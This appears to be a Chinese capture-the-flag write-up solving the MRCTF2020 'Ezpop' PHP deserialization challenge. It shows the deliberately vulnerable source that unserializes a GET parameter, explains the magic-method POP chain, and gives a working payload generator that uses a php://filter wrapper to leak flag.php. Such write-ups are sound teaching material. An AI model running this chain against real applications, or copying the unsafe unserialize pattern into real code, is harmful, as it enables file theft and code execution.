[MRCTF2020]Ezpop

简介: [MRCTF2020]Ezpop

代码审计

开局给出源码

1. Welcome to index.php
2. <?php
3. //flag is in flag.php
4. //WTF IS THIS?
5. //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
6. //And Crack It!
7. class Modifier {
8. protected  $var;
9. public function append($value){
10. include($value);
11.     }
12. public function __invoke(){
13. $this->append($this->var);
14.     }
15. }
16. 
17. class Show{
18. public $source;
19. public $str;
20. public function __construct($file='index.php'){
21. $this->source = $file;
22. echo 'Welcome to '.$this->source."<br>";
23.     }
24. public function __toString(){
25. return $this->str->source;
26.     }
27. 
28. public function __wakeup(){
29. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
30. echo "hacker";
31. $this->source = "index.php";
32.         }
33.     }
34. }
35. 
36. class Test{
37. public $p;
38. public function __construct(){
39. $this->p = array();
40.     }
41. 
42. public function __get($key){
43. $function = $this->p;
44. return $function();
45.     }
46. }
47. 
48. if(isset($_GET['pop'])){
49.     @unserialize($_GET['pop']);
50. }
51. else{
52. $a=new Show;
53. highlight_file(__FILE__);
54. }

Modifier类中append()方法会将传入参数包含,而此处魔术方法__invoke中设置了将Modifier类中的var属性作为传入值来调用append()函数,所以在这里需要让属性var的值为flag.php,再触发魔术方法__invoke即可。魔术方法__invoke被自动调用的条件是类被当成一个函数被调用,故接着来寻找和函数调用有关的代码。

魔法函数__get中设置了属性p会被当做函数调用,刚好符合前面Modifier类中的要求。故需要再触发魔法函数__get即可,魔法函数__get会在访问类中一个不存在(或外部不可访问的私有)的属性时自动调用,那就需要寻找和调用属性相关的代码。

__toString中会返回属性str中的属性source,如果刚刚提到的source属性不存在,那么就符合了Test类中的要求,那这里。魔术方法__toString在类被当做一个字符串处理时会被自动调用,在魔术方法__wakeup则将属性source传入正则匹配函数preg_match(),在这个函数中source属性就被当做字符串处理。最终这个魔术方法__wakeup又在类被反序列化时自动调用。

 

本地测试

1. <?php
2. class Person{
3. /*封装私有成员属性*/
4. private $name='张三';private $sex='男';private $age=12;
5. /*__get()方法用来获取私有属性*/
6. function __get($property_name){
7. //        echo '在直接获取私有成员属性得时候,自动调用了这个__get()方法<br/>';
8. if(isset($this->$property_name))
9.         {
10. return ($this->$property_name);
11.         }else{
12. return NULL;
13.         }
14.     }
15. }
16. $p1=new Person();
17. /*直接获取私有属性得值,会自动调用__get()的方法,返回成员属性的值*/
18. echo '姓名:'.$p1->name.'<br/>'.PHP_EOL;
19. echo '性别:'.$p1->sex.'<br/>'.PHP_EOL;
20. echo '年龄:'.$p1->age.'<br/>'.PHP_EOL;
21. ?>

姓名:张三<br/>

性别:男<br/>

年龄:12<br/>

5.3.29下可以调用phpinfo

1. <?php
2. class Test{
3. private $p='phpinfo';
4. // public function __construct()
5. // {
6. //     $this->p = 'array';
7. // }
8. 
9. public function __get($key){
10. $function = $this->p;
11. return $function();
12.     }
13. }
14. $a=new Test;
15. echo $a->$p;
16. ?>

PHP Version 7.3.4可以调用以下PHPinfo

1. <?php
2. class Test{
3. private $p='phpinfo';
4. // public function __construct()
5. // {
6. //     $this->p = 'array';
7. // }
8. 
9. public function __get($key){
10. $function = $this->p;
11. return $function();
12.     }
13. }
14. $a=new Test;
15. $a->$eee;
16. ?>

PHP Version 7.3.4可以显示flag

1. <?php
2. class Modifier {
3. protected  $var='flag';
4. public function append($value){
5. include($value);
6.     }
7. public function __invoke(){
8. $this->append($this->var);
9.     }
10. }
11. $a=new Modifier;
12. $a->__invoke();
13. ?>

__invoke:以函数方法调用类时

1. <?php
2. 
3. class CallableClass
4. {
5. public function __invoke($param1, $param2)
6.     {
7. var_dump($param1,$param2);
8.     }
9. }
10. 
11. $obj  = new CallableClass;
12. $obj(123, 456);
13. 
14. // var_dump(is_callable($obj));

POC

调用过程

反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

1. <?php
2. class Modifier {
3. protected  $var='php://filter/convert.base64-encode/resource=flag.php';
4. public function append($value){
5. include($value);
6.     }
7. public function __invoke(){
8. $this->append($this->var);
9.     }
10. }
11. 
12. class Show{
13. public $source;
14. public $str;
15. public function __toString()
16.     {
17. return $this->str->source;
18.     }
19. public function __wakeup(){
20. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
21. echo "hacker";
22. $this->source = "index.php";
23.         }
24.     }
25. }
26. class Test{
27. public $p;
28. public function __get($key){
29. $function = $this->p;
30. return $function();
31.     }
32. }
33. $a=new Show();
34. $d=new Show();
35. $a->source=$d;
36. $d->str=new Test();
37. ($d->str)->p=new Modifier();
38. 
39. 
40. 
41. echo urlencode(serialize($a))
42. ?>

最后的序列化结果进行url编码的原因:如果不进行编码,最后输出的结果是不全的,会有类显示异常的乱码,所以需要进行url编码

poc2

1. poc2:
2. $s = new Show();
3. $t = new Test();
4. $r = new Modifier();
5. $t->p = $r;
6. $s->str = $t;
7. $s->source = $s;

常用的类中魔法函数

__construct()//当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__toString() //当一个对象被当作一个字符串使用

__sleep()//在对象在被序列化之前运行

__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)

__get()//获得一个类的成员变量时调用

__set()//设置一个类的成员变量时调用

__invoke()//调用函数的方式调用一个对象时的回应方法

__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

目录
相关文章
|
12月前
|
PHP 数据安全/隐私保护
[SUCTF 2019]EasyWeb
[SUCTF 2019]EasyWeb
135 0
|
11月前
|
数据安全/隐私保护 Python
BUUCTF 传统知识+古典密码 1
BUUCTF 传统知识+古典密码 1
257 0
|
9月前
如何在cmd中打开指定文件夹路径
如何在cmd中打开指定文件夹路径
642 0
|
12月前
|
安全 应用服务中间件 PHP
[SUCTF 2019]CheckIn(文件上传)
[SUCTF 2019]CheckIn(文件上传)
139 0
|
11月前
|
数据安全/隐私保护 Windows
BUUCTF Windows系统密码 1
BUUCTF Windows系统密码 1
238 0
BUUCTF Windows系统密码 1
|
8月前
|
人工智能 安全 PHP
PHP特性之CTF中常见的PHP绕过
PHP特性之CTF中常见的PHP绕过
139 1
|
8月前
|
安全 Shell PHP
wzsc_文件上传(条件竞争)
wzsc_文件上传(条件竞争)
123 0
|
11月前
|
存储 程序员 API
30分钟快速搭建并部署一个免费的个人博客
30分钟快速搭建并部署一个免费的个人博客
198 0
|
12月前
|
SQL 安全 关系型数据库
[SWPUCTF 2021 新生赛]easy_sql
[SWPUCTF 2021 新生赛]easy_sql
238 0
将手机声音用电脑播放的方法
本文介绍基于Bluetooth Audio Receiver软件实现用电脑播放手机声音,且与电脑自身声音不冲突同时播放的方法~
1149 1
将手机声音用电脑播放的方法